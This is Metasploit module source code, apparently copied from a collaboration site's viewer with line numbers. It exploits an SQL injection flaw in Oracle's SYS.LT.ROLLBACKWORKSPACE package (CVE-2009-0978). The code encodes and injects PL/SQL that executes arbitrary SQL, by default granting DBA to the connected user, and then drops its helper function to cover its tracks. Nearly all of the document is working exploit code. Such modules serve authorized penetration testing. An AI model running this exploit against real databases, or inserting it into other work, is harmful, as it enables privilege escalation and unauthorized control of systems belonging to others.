Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::ORACLE
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
      'Name'           => 'Oracle DB SQL Injection via SYS.LT.ROLLBACKWORKSPACE',
12
      'Description'    => %q{
13
        This module exploits a sql injection flaw in the ROLLBACKWORKSPACE
14
        procedure of the PL/SQL package SYS.LT. Any user with execute
15
        privilege on the vulnerable package can exploit this vulnerability.
16
      },
17
      'Author'         => [ 'MC' ],
18
      'License'        => MSF_LICENSE,
19
      'References'     =>
20
        [
21
          [ 'CVE', '2009-0978' ],
22
          [ 'OSVDB', '53734'],
23
          [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html' ],
24
        ],
25
      'DisclosureDate' => '2009-05-04'))
26

27
      register_options(
28
        [
29
          OptString.new('SQL', [ false, 'SQL to execte.',  "GRANT DBA to #{datastore['DBUSER']}"]),
30
        ])
31
  end
32

33
  def run
34
    return if not check_dependencies
35

36
    name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
37
    rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
38
    rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
39
    rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
40
    cruft = Rex::Text.rand_text_alpha_upper(rand(5) + 1)
41

42
    function = "
43
      CREATE OR REPLACE FUNCTION #{cruft}
44
      RETURN VARCHAR2 AUTHID CURRENT_USER
45
      AS
46
      PRAGMA AUTONOMOUS_TRANSACTION;
47
      BEGIN
48
      EXECUTE IMMEDIATE '#{datastore['SQL']}';
49
      COMMIT;
50
      RETURN '#{cruft}';
51
      END;"
52

53
    package1 = %Q|
54
      BEGIN
55
        SYS.LT.CREATEWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
56
      END;
57
      |
58

59
    package2 = %Q|
60
      BEGIN
61
        SYS.LT.ROLLBACKWORKSPACE('#{name}'' and #{datastore['DBUSER']}.#{cruft}()=''#{cruft}');
62
      END;
63
      |
64

65
    uno  = Rex::Text.encode_base64(function)
66
    dos  = Rex::Text.encode_base64(package1)
67
    tres = Rex::Text.encode_base64(package2)
68

69
    sql = %Q|
70
      DECLARE
71
      #{rand1} VARCHAR2(32767);
72
      #{rand2} VARCHAR2(32767);
73
      #{rand3} VARCHAR2(32767);
74
      BEGIN
75
      #{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
76
      EXECUTE IMMEDIATE #{rand1};
77
      #{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
78
      EXECUTE IMMEDIATE #{rand2};
79
      #{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{tres}')));
80
      EXECUTE IMMEDIATE #{rand3};
81
      END;
82
      |
83

84
    clean = "DROP FUNCTION #{cruft}"
85

86
    print_status("Attempting sql injection on SYS.LT.ROLLBACKWORKSPACE...")
87
    prepare_exec(sql)
88
    print_status("Removing function '#{cruft}'...")
89
    prepare_exec(clean)
90
  end
91
end
92

93